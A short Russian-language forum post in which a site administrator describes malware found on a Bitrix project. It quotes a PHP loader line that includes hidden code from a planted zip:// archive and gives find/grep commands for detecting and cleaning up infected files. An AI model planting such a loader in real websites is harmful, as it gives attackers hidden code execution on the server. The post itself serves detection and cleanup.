На одном из проектов полезла вирусня снова. Вдруг кому тоже поможет.
По сути все файлы двух видов.
1. Распаковщик заразы, его не видит поиск троянов битрикса:
| Код |
|---|
<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "Ss/index.php"; include("zip:///var/www/site_name/xn--c1acckjsj.xn--p1ai/mod-tmp/phptgvu0g#$h");?> |
Основное общее у этих файлов — они открывают через
zip:// архив с заразой и распаковывают
Эти файлы можно найти, перейдя в корень сайта и выполнив команду. Потом то что точно вируся — вычищаем, остальное не трогаем =)
| Код |
|---|
find . -name "*.php" -exec grep -l "zip://" {} \; |
2. Сама зараза, её поиск троянов видит:
Эти файлы можно найти по началу файла такой командой, затем просмотреть и удалить
| Код |
|---|
find /path/to/search -type f -name "*.php" -exec grep -l '^<?=@null;' {} + |
В техподдержку создал обращение #3852182, чтоб доработали поиск троянов.
